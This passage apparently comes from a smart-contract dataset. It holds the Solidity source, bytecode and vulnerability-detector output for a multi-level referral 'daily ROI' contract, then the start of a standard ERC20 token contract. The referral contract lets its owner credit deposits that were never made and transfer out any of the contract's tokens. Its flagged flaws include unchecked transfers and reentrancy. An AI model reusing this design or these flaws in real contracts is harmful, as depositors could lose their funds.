memory _user,address[] memory _upline,uint[] memory _amount)public onlyOwner{ for (uint i = 0;i<_user.length;i++){ users[_user[i]].cycle = 1; users[_user[i]].upline = _upline[i]; users[_upline[i]].referrals = users[_upline[i]].referrals.add(1); users[_user[i]].payouts = 0; users[_user[i]].depositAmount = _amount[i]; users[_user[i]].depositPayouts = 0; users[_user[i]].depositTime = uint40(block.timestamp); users[_user[i]].referalBonus = 0; users[_user[i]].matchBonus = 0; users[_upline[i]].totalStructure++; users[_user[i]].totalDeposits = users[_user[i]].totalDeposits.add(_amount[i]); emit Inject(_user[i],_upline[i],_amount[i],block.timestamp); } } function _matchBonus(address _user, uint _amount) private { address up = users[_user].upline; for (uint i = 1; i <= 21; i++) { // For matching bonus if (up == address(0)) break; if (i <= 3) { users[up].matchBonus = users[up].matchBonus.add(_amount); emit MatchBonus(_user, up, _amount, block.timestamp); } else if (i <= 6) { if (users[up].referrals >= 2) { users[up].matchBonus = users[up].matchBonus.add(_amount); emit MatchBonus(_user, up, _amount, block.timestamp); } } else if (i <= 10) { if (users[up].referrals >= 4) { users[up].matchBonus = users[up].matchBonus.add(_amount); emit MatchBonus(_user, up, _amount, block.timestamp); } } else if (i <= 14) { if (users[up].referrals >= 8) { users[up].matchBonus = users[up].matchBonus.add(_amount); emit MatchBonus(_user, up, _amount, block.timestamp); } } else if (i <= 21) { if (users[up].referrals >= 16) { users[up].matchBonus = users[up].matchBonus.add(_amount); emit MatchBonus(_user, up, _amount, block.timestamp); } } up = users[up].upline; } } /** * @dev withdraw: User can get amount till maximum payout reach. * maximum payout based on(daily ROI,matchbonus) * maximum payout limit 210 percentage */ function withdraw() external isLock { (uint256 to_payout, uint256 max_payout) = this.payoutOf(msg.sender); require(msg.sender != admin1, "SeekReward: only for users"); require(users[msg.sender].payouts < max_payout, "SeekReward: Full payouts"); // Deposit payout if (to_payout > 0) { if (users[msg.sender].payouts.add(to_payout) > max_payout) { to_payout = max_payout.sub(users[msg.sender].payouts); } users[msg.sender].depositPayouts = users[msg.sender].depositPayouts.add(to_payout); users[msg.sender].payouts = users[msg.sender].payouts.add(to_payout); _matchBonus(msg.sender, to_payout.mul(3e18).div(100e18)); } // matching bonus if (users[msg.sender].payouts < max_payout && users[msg.sender].matchBonus > 0) { if (users[msg.sender].payouts.add(users[msg.sender].matchBonus) > max_payout) { users[msg.sender].matchBonus = max_payout.sub(users[msg.sender].payouts); } users[msg.sender].payouts = users[msg.sender].payouts.add(users[msg.sender].matchBonus); to_payout = to_payout.add(users[msg.sender].matchBonus); users[msg.sender].matchBonus = users[msg.sender].matchBonus.sub(users[msg.sender].matchBonus); } totalWithdraw = totalWithdraw.add(to_payout); token.transfer(msg.sender, to_payout); // Daily roi and matching bonus emit Withdraw(msg.sender, to_payout, block.timestamp); if (users[msg.sender].payouts >= max_payout) { emit LimitReached(msg.sender, users[msg.sender].payouts, block.timestamp); } } /** * @dev adminWithdraw: owner invokes the function * owner can get referbonus, matchbonus */ function adminWithdraw() external onlyOwner { uint amount; if (users[admin1].referalBonus > 0) { amount = amount.add(users[admin1].referalBonus); users[admin1].referalBonus = 0; } if (users[admin1].matchBonus > 0) { amount = amount.add(users[admin1].matchBonus); users[admin1].matchBonus = 0; } token.transfer(admin1, amount); //Referal bonus and matching bonus emit AdminEarnings(admin1, amount, block.timestamp); } /** * @dev maxPayoutOf: Amount calculate by 210 percentage */ function maxPayoutOf(uint256 _amount) external pure returns(uint256) { return _amount.mul(210).div(100); } /** * @dev payoutOf: Users daily ROI and maximum payout will be show */ function payoutOf(address _addr) external view returns(uint256 payout, uint256 max_payout) { max_payout = this.maxPayoutOf(users[_addr].depositAmount); if (users[_addr].depositPayouts < max_payout) { payout = ((users[_addr].depositAmount.mul(1e18).div(100e18)).mul((block.timestamp .sub(users[_addr].depositTime)).div(1 days))).sub(users[_addr].depositPayouts); // Daily roi if (users[_addr].depositPayouts.add(payout) > max_payout) { payout = max_payout.sub(users[_addr].depositPayouts); } } } /** * @dev userInfo: Returns upline,depositTime,depositAmount,payouts,match_bonus */ function userInfo(address _addr) external view returns(address upline, uint40 deposit_time, uint256 deposit_amount, uint256 payouts, uint256 match_bonus) { return (users[_addr].upline, users[_addr].depositTime, users[_addr].depositAmount, users[_addr].payouts, users[_addr].matchBonus); } /** * @dev userInfoTotals: Returns users referrals count, totalDeposit, totalStructure */ function userInfoTotals(address _addr) external view returns(uint256 referrals, uint256 total_deposits, uint256 total_structure) { return (users[_addr].referrals, users[_addr].totalDeposits, users[_addr].totalStructure); } /** * @dev contractInfo: Returns total users, totalDeposited, totalWithdraw */ function contractInfo() external view returns(uint256 _total_users, uint256 _total_deposited, uint256 _total_withdraw) { return (totalUsers, totalDeposited, totalWithdraw); } /** * @dev contractLock: For contract status */ function contractLock(bool _lockStatus) public onlyOwner returns(bool) { lockStatus = _lockStatus; return true; } /** * @dev failSafe: Returns transfer token */ function failSafe(address _toUser, uint _amount) external onlyOwner returns(bool) { require(_toUser != address(0), "Invalid Address"); require(token.balanceOf(address(this)) >= _amount, "SeekReward: insufficient amount"); token.transfer(_toUser, _amount); return true; } /** * @dev isContract: Returns true if account is a contract */ function isContract(address _account) public view returns(bool) { uint32 size; assembly { size:= extcodesize(_account) } if (size != 0) return true; return false; } }
0x608060405234801561001057600080fd5b50600436106101375760003560e01c80636da61d1e116100b8578063a87430ba1161007c578063a87430ba146104f9578063b2a6cef814610584578063bff1f9e1146105a1578063f18d20be146105a9578063fc0c546a146105b1578063ff50abdc146105b957610137565b80636da61d1e146102ad57806374b95b2d146102ec578063885cbe6a146103125780638959af3c146104bd578063a478656b146104da57610137565b80633ccfd60b116100ff5780633ccfd60b146102295780633e89340f14610233578063455fd6231461023b57806347e7ef241461025557806352fd9f131461028157610137565b806306a8f8a21461013c578063115976c41461016057806315c43aaf14610168578063162790551461018e5780631959a002146101c8575b600080fd5b6101446105c1565b604080516001600160a01b039092168252519081900360200190f35b6101446105d0565b6101706105e4565b60408051938452602084019290925282820152519081900360600190f35b6101b4600480360360208110156101a457600080fd5b50356001600160a01b03166105f2565b604080519115158252519081900360200190f35b6101ee600480360360208110156101de57600080fd5b50356001600160a01b0316610617565b604080516001600160a01b03909616865264ffffffffff90941660208601528484019290925260608401526080830152519081900360a00190f35b610231610660565b005b6101b4610b60565b610243610b69565b60408051918252519081900360200190f35b6102316004803603604081101561026b57600080fd5b506001600160a01b038135169060200135610b6f565b6101b46004803603604081101561029757600080fd5b506001600160a01b038135169060200135610c3c565b6102d3600480360360208110156102c357600080fd5b50356001600160a01b0316610e42565b6040805192835260208301919091528051918290030190f35b6101706004803603602081101561030257600080fd5b50356001600160a01b0316611002565b6102316004803603606081101561032857600080fd5b81019060208101813564010000000081111561034357600080fd5b82018360208201111561035557600080fd5b8035906020019184602083028401116401000000008311171561037757600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092959493602081019350359150506401000000008111156103c757600080fd5b8201836020820111156103d957600080fd5b803590602001918460208302840111640100000000831117156103fb57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929594936020810193503591505064010000000081111561044b57600080fd5b82018360208201111561045d57600080fd5b8035906020019184602083028401116401000000008311171561047f57600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955061102d945050505050565b610243600480360360208110156104d357600080fd5b5035611503565b6101b4600480360360208110156104f057600080fd5b5035151561151b565b61051f6004803603602081101561050f57600080fd5b50356001600160a01b0316611592565b604080519b8c526001600160a01b03909a1660208c01528a8a019890985260608a0196909652608089019490945260a088019290925260c087015260e086015264ffffffffff1661010085015261012084015261014083015251908190036101600190f35b6102436004803603602081101561059a57600080fd5b50356115fc565b61024361161a565b610231611620565b610144611850565b61024361185f565b6003546001600160a01b031681565b60025461010090046001600160a01b031681565b600554600654600754909192565b6000813b63ffffffff81161561060c576001915050610612565b60009150505b919050565b6001600160a01b03908116600090815260016020819052604090912090810154600882015460068301546003840154600590940154929094169464ffffffffff90911693929190565b60025460ff16156106b8576040805162461bcd60e51b815260206004820152601b60248201527f5365656b5265776172643a20436f6e7472616374204c6f636b65640000000000604482015290519081900360640190fd5b604080516336d30e8f60e11b8152336004820152815160009283923092636da61d1e92602480840193919291829003018186803b1580156106f857600080fd5b505afa15801561070c573d6000803e3d6000fd5b505050506040513d604081101561072257600080fd5b508051602090910151600254919350915061010090046001600160a01b0316331415610795576040805162461bcd60e51b815260206004820152601a60248201527f5365656b5265776172643a206f6e6c7920666f72207573657273000000000000604482015290519081900360640190fd5b3360009081526001602052604090206003015481116107fb576040805162461bcd60e51b815260206004820152601860248201527f5365656b5265776172643a2046756c6c207061796f7574730000000000000000604482015290519081900360640190fd5b81156108f157336000908152600160205260409020600301548190610826908463ffffffff61186516565b1115610853573360009081526001602052604090206003015461085090829063ffffffff6118c616565b91505b33600090815260016020526040902060070154610876908363ffffffff61186516565b3360009081526001602052604090206007810191909155600301546108a1908363ffffffff61186516565b336000818152600160205260409020600301919091556108f1906108ec68056bc75e2d631000006108e0866729a2241af62c000063ffffffff61190816565b9063ffffffff61196116565b6119a3565b336000908152600160205260409020600301548111801561092357503360009081526001602052604090206005015415155b15610a215733600090815260016020526040902060058101546003909101548291610954919063ffffffff61186516565b1115610992573360009081526001602052604090206003015461097e90829063ffffffff6118c616565b336000908152600160205260409020600501555b33600090815260016020526040902060058101546003909101546109bb9163ffffffff61186516565b3360009081526001602052604090206003810191909155600501546109e790839063ffffffff61186516565b33600090815260016020526040902060050154909250610a0d908063ffffffff6118c616565b336000908152600160205260409020600501555b600754610a34908363ffffffff61186516565b600755600080546040805163a9059cbb60e01b81523360048201526024810186905290516001600160a01b039092169263a9059cbb926044808401936020939083900390910190829087803b158015610a8c57600080fd5b505af1158015610aa0573d6000803e3d6000fd5b505050506040513d6020811015610ab657600080fd5b505060408051838152426020820152815133927ff279e6a1f5e320cca91135676d9cb6e44ca8a08c0b88342bcdb1144f6511b568928290030190a2336000908152600160205260409020600301548111610b5c5733600081815260016020908152604091829020600301548251908152429181019190915281517f18aa821420137b5eb0a7cd9e6ea687b655e2a98ccefbf2a1b8a155603994d0f8929181900390910190a25b5050565b60025460ff1681565b60075481565b60025460ff1615610bc7576040805162461bcd60e51b815260206004820152601b60248201527f5365656b5265776172643a20436f6e7472616374204c6f636b65640000000000604482015290519081900360640190fd5b33610bd1816105f2565b15610c23576040805162461bcd60e51b815260206004820152601b60248201527f5365656b5265776172643a20496e76616c696420616464726573730000000000604482015290519081900360640190fd5b610c2d3384611c6e565b610c373383611ddc565b505050565b60025460009061010090046001600160a01b03163314610c9c576040805162461bcd60e51b815260206004820152601660248201527529b2b2b5a932bbb0b9321d1027b7363c9027bbb732b960511b604482015290519081900360640190fd5b6001600160a01b038316610ce9576040805162461bcd60e51b815260206004820152600f60248201526e496e76616c6964204164647265737360881b604482015290519081900360640190fd5b600054604080516370a0823160e01b8152306004820152905184926001600160a01b0316916370a08231916024808301926020929190829003018186803b158015610d3357600080fd5b505afa158015610d47573d6000803e3d6000fd5b505050506040513d6020811015610d5d57600080fd5b50511015610db2576040805162461bcd60e51b815260206004820152601f60248201527f5365656b5265776172643a20696e73756666696369656e7420616d6f756e7400604482015290519081900360640190fd5b600080546040805163a9059cbb60e01b81526001600160a01b038781166004830152602482018790529151919092169263a9059cbb92604480820193602093909283900390910190829087803b158015610e0b57600080fd5b505af1158015610e1f573d6000803e3d6000fd5b505050506040513d6020811015610e3557600080fd5b5060019150505b92915050565b6001600160a01b03811660009081526001602090815260408083206006015481516322566bcf60e21b81526004810191909152905183923092638959af3c9260248083019392829003018186803b158015610e9c57600080fd5b505afa158015610eb0573d6000803e3d6000fd5b505050506040513d6020811015610ec657600080fd5b50516001600160a01b038416600090815260016020526040902060070154909150811115610ffd576001600160a01b03831660009081526001602052604090206007810154600890910154610f969190610f8a90610f3b9062015180906108e090429064ffffffffff1663ffffffff6118c616565b6001600160a01b038716600090815260016020526040902060060154610f7e9068056bc75e2d63100000906108e090670de0b6b3a764000063ffffffff61190816565b9063ffffffff61190816565b9063ffffffff6118c616565b6001600160a01b0384166000908152600160205260409020600701549092508190610fc7908463ffffffff61186516565b1115610ffd576001600160a01b038316600090815260016020526040902060070154610ffa90829063ffffffff6118c616565b91505b915091565b6001600160a01b0316600090815260016020526040902060028101546009820154600a909201549092565b60025461010090046001600160a01b0316331461108a576040805162461bcd60e51b815260206004820152601660248201527529b2b2b5a932bbb0b9321d1027b7363c9027bbb732b960511b604482015290519081900360640190fd5b60005b83518110156114fd5760018060008684815181106110a757fe5b60200260200101516001600160a01b03166001600160a01b03168152602001908152602001600020600001819055508281815181106110e257fe5b6020026020010151600160008684815181106110fa57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060010160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550611197600180600086858151811061115d57fe5b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000206002015461186590919063ffffffff16565b600160008584815181106111a757fe5b60200260200101516001600160a01b03166001600160a01b03168152602001908152602001600020600201819055506000600160008684815181106111e857fe5b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000206003018190555081818151811061122357fe5b60200260200101516001600086848151811061123b57fe5b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000206006018190555060006001600086848151811061127c57fe5b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000206007018190555042600160008684815181106112bc57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060080160006101000a81548164ffffffffff021916908364ffffffffff16021790555060006001600086848151811061131957fe5b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000206004018190555060006001600086848151811061135a57fe5b60200260200101516001600160a01b03166001600160a01b03168152602001908152602001600020600501819055506001600084838151811061139957fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020600a0180546001019055815161142a908390839081106113d857fe5b6020026020010151600160008785815181106113f057fe5b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000206009015461186590919063ffffffff16565b6001600086848151811061143a57fe5b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000206009018190555082818151811061147557fe5b60200260200101516001600160a01b031684828151811061149257fe5b60200260200101516001600160a01b03167f769c22abbcd5ea17a022a5652d269e297d457a0bc65f81893c42d2b3cf3273de8484815181106114d057fe5b602002602001015142604051808381526020018281526020019250505060405180910390a360010161108d565b50505050565b6000610e3c60646108e08460d263ffffffff61190816565b60025460009061010090046001600160a01b0316331461157b576040805162461bcd60e51b815260206004820152601660248201527529b2b2b5a932bbb0b9321d1027b7363c9027bbb732b960511b604482015290519081900360640190fd5b506002805460ff1916911515919091179055600190565b600160208190526000918252604090912080549181015460028201546003830154600484015460058501546006860154600787015460088801546009890154600a909901546001600160a01b039098169896979596949593949293919264ffffffffff909116918b565b6004818154811061160957fe5b600091825260209091200154905081565b60055481565b60025461010090046001600160a01b0316331461167d576040805162461bcd60e51b815260206004820152601660248201527529b2b2b5a932bbb0b9321d1027b7363c9027bbb732b960511b604482015290519081900360640190fd5b60025461010090046001600160a01b0316600090815260016020526040812060040154156116f95760025461010090046001600160a01b03166000908152600160205260409020600401546116d3908290611865565b60025461010090046001600160a01b031660009081526001602052604081206004015590505b60025461010090046001600160a01b0316600090815260016020526040902060050154156117755760025461010090046001600160a01b031660009081526001602052604090206005015461174f908290611865565b60025461010090046001600160a01b031660009081526001602052604081206005015590505b600080546002546040805163a9059cbb60e01b81526101009092046001600160a01b03908116600484015260248301869052905192169263a9059cbb926044808401936020939083900390910190829087803b1580156117d457600080fd5b505af11580156117e8573d6000803e3d6000fd5b505050506040513d60208110156117fe57600080fd5b50506002546040805183815242602082015281516101009093046001600160a01b0316927fb07a9b49018ed505ba865ebcc06fda05ee43f88fd5bfee6185782827834fb1b0929181900390910190a250565b6000546001600160a01b031681565b60065481565b6000828201838110156118bf576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b60006118bf83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061268d565b60008261191757506000610e3c565b8282028284828161192457fe5b04146118bf5760405162461bcd60e51b815260040180806020018281038252602181526020018061278a6021913960400191505060405180910390fd5b60006118bf83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612724565b6001600160a01b038083166000908152600160208190526040909120810154909116905b601581116114fd576001600160a01b0382166119e2576114fd565b60038111611a7f576001600160a01b038216600090815260016020526040902060050154611a16908463ffffffff61186516565b6001600160a01b03808416600081815260016020908152604091829020600501949094558051878152429481019490945280519193928816927fe49230762b247841839a498430314af8e775c685aefc81fcf3a4fa7a4e8ae084929081900390910190a3611c45565b60068111611adb576001600160a01b038216600090815260016020526040902060029081015410611ad6576001600160a01b038216600090815260016020526040902060050154611a16908463ffffffff61186516565b611c45565b600a8111611b32576001600160a01b038216600090815260016020526040902060020154600411611ad6576001600160a01b038216600090815260016020526040902060050154611a16908463ffffffff61186516565b600e8111611b89576001600160a01b038216600090815260016020526040902060020154600811611ad6576001600160a01b038216600090815260016020526040902060050154611a16908463ffffffff61186516565b60158111611c45576001600160a01b038216600090815260016020526040902060020154601011611c45576001600160a01b038216600090815260016020526040902060050154611be0908463ffffffff61186516565b6001600160a01b03808416600081815260016020908152604091829020600501949094558051878152429481019490945280519193928816927fe49230762b247841839a498430314af8e775c685aefc81fcf3a4fa7a4e8ae084929081900390910190a35b6001600160a01b03918216600090815260016020819052604090912081015490921691016119c7565b6001600160a01b038281166000908152600160208190526040909120015416158015611cac5750816001600160a01b0316816001600160a01b031614155b8015611ccb57506002546001600160a01b038381166101009092041614155b8015611d1457506001600160a01b03811660009081526001602052604090206008015464ffffffffff16151580611d1457506002546001600160a01b0382811661010090920416145b15610b5c576001600160a01b038281166000908152600160208190526040808320820180546001600160a01b031916948616948517905592825291902060020154611d5e91611865565b6001600160a01b0382166000908152600160208190526040822060020192909255600580549092019091555b60158160ff161015610c37576001600160a01b038216611da957610c37565b6001600160a01b039182166000908152600160208190526040909120600a81018054830190558101549092169101611d8a565b6001600160a01b038281166000908152600160208190526040909120015416151580611e1a57506002546001600160a01b0383811661010090920416145b611e57576040805162461bcd60e51b81526020600482015260096024820152684e6f2075706c696e6560b81b604482015290519081900360640190fd5b6001600160a01b03821660009081526001602052604090206008015464ffffffffff1615612043576001600160a01b0382166000908152600160208181526040928390208054909201825560069091015482516322566bcf60e21b8152600481019190915291513092638959af3c926024808301939192829003018186803b158015611ee257600080fd5b505afa158015611ef6573d6000803e3d6000fd5b505050506040513d6020811015611f0c57600080fd5b50516001600160a01b0383166000908152600160205260409020600301541015611f675760405162461bcd60e51b81526004018080602001828103825260228152602001806127ab6022913960400191505060405180910390fd5b6001600160a01b0382166000908152600160205260409020600601548110801590611ff45750600480546001600160a01b03841660009081526001602052604090205460001990910110611fd3576001600160a01b038316600090815260016020526040902054611fdb565b600454600019015b81548110611fe557fe5b90600052602060002001548111155b61203e576040805162461bcd60e51b815260206004820152601660248201527514d9595ad4995dd85c990e8810985908185b5bdd5b9d60521b604482015290519081900360640190fd5b6120bd565b670de0b6b3a764000081101580156120735750600460008154811061206457fe5b90600052602060002001548111155b6120bd576040805162461bcd60e51b815260206004820152601660248201527514d9595ad4995dd85c990e8810985908185b5bdd5b9d60521b604482015290519081900360640190fd5b60008054604080516323b872dd60e01b81523360048201523060248201526044810185905290516001600160a01b03909216926323b872dd926064808401936020939083900390910190829087803b15801561211857600080fd5b505af115801561212c573d6000803e3d6000fd5b505050506040513d602081101561214257600080fd5b5051612195576040805162461bcd60e51b815260206004820152601e60248201527f5365656b7265776172643a207472616e73616374696f6e206661696c65640000604482015290519081900360640190fd5b6001600160a01b038216600090815260016020526040812060038101829055600681018390556007810182905560088101805464ffffffffff19164264ffffffffff16179055600481018290556005810191909155600901546121f89082611865565b6001600160a01b038316600090815260016020526040902060090155600654612227908263ffffffff61186516565b6006556001600160a01b038083166000908152600160208190526040808320820154841680845292200154909116811561237b576000546001600160a01b031663a9059cbb8361229268056bc75e2d631000006108e088678ac7230489e8000063ffffffff61190816565b6040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050602060405180830381600087803b1580156122e157600080fd5b505af11580156122f5573d6000803e3d6000fd5b505050506040513d602081101561230b57600080fd5b5061235e905061233668056bc75e2d631000006108e086678ac7230489e8000063ffffffff61190816565b6001600160a01b0384166000908152600160205260409020600401549063ffffffff61186516565b6001600160a01b0383166000908152600160205260409020600401555b6001600160a01b038116156124aa576000546001600160a01b031663a9059cbb826123c168056bc75e2d631000006108e088674563918244f4000063ffffffff61190816565b6040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050602060405180830381600087803b15801561241057600080fd5b505af1158015612424573d6000803e3d6000fd5b505050506040513d602081101561243a57600080fd5b5061248d905061246568056bc75e2d631000006108e086674563918244f4000063ffffffff61190816565b6001600160a01b0383166000908152600160205260409020600401549063ffffffff61186516565b6001600160a01b0382166000908152600160205260409020600401555b60006124d168056bc75e2d631000006108e086674563918244f4000063ffffffff61190816565b600054600280549293506001600160a01b039182169263a9059cbb92610100909104169061250690859063ffffffff61196116565b6040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050602060405180830381600087803b15801561255557600080fd5b505af1158015612569573d6000803e3d6000fd5b505050506040513d602081101561257f57600080fd5b50506000546003546001600160a01b039182169163a9059cbb91166125ab84600263ffffffff61196116565b6040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050602060405180830381600087803b1580156125fa57600080fd5b505af115801561260e573d6000803e3d6000fd5b505050506040513d602081101561262457600080fd5b5050506001600160a01b0380851660008181526001602081815260408084209092015482518981524292810192909252825193951693927fdcbc1c05240f31ff3ad067ef1ee35ce4997762752e3a095284754544f4c709d7929181900390910190a35050505050565b6000818484111561271c5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156126e15781810151838201526020016126c9565b50505050905090810190601f16801561270e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600081836127735760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156126e15781810151838201526020016126c9565b50600083858161277f57fe5b049594505050505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775365656b5265776172643a204465706f73697420616c726561647920657869737473a264697066735822122073359dd000fe0bc8788d5e300aa2a4fd8b98caafa4cd9719638291050c00480d64736f6c63430006000033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
3,641
0xf8316c0352b58b100056847aae6d74808fff8bf6
pragma solidity ^0.5.17; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see `ERC20Detailed`. */ interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } /** * @dev Implementation of the `IERC20` interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using `_mint`. * For a generic mechanism see `ERC20Mintable`. * * *For a detailed writeup see our guide [How to implement supply * mechanisms](https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226).* * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an `Approval` event is emitted on calls to `transferFrom`. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard `decreaseAllowance` and `increaseAllowance` * functions have been added to mitigate the well-known issues around setting * allowances. See `IERC20.approve`. */ contract BITSTAR is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; // NOTE Start of https://github.com/OpenZeppelin/openzeppelin-solidity/blob/v2.3.0/contracts/token/ERC20/ERC20Detailed.sol string private _name; string private _symbol; uint8 private _decimals; constructor () public { _name = "BITSTAR"; _symbol = "BTS"; _decimals = 18; _totalSupply = 18000000 * 10 ** 18; _balances[msg.sender] = _totalSupply; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. * * > Note that this information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * `IERC20.balanceOf` and `IERC20.transfer`. */ function decimals() public view returns (uint8) { return _decimals; } // NOTE End of https://github.com/OpenZeppelin/openzeppelin-solidity/blob/v2.3.0/contracts/token/ERC20/ERC20Detailed.sol uint256 public _totalSupply; /** * @dev See `IERC20.totalSupply`. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See `IERC20.balanceOf`. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See `IERC20.transfer`. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See `IERC20.allowance`. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See `IERC20.approve`. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } /** * @dev See `IERC20.transferFrom`. * * Emits an `Approval` event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of `ERC20`; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `value`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to `transfer`, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a `Transfer` event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = 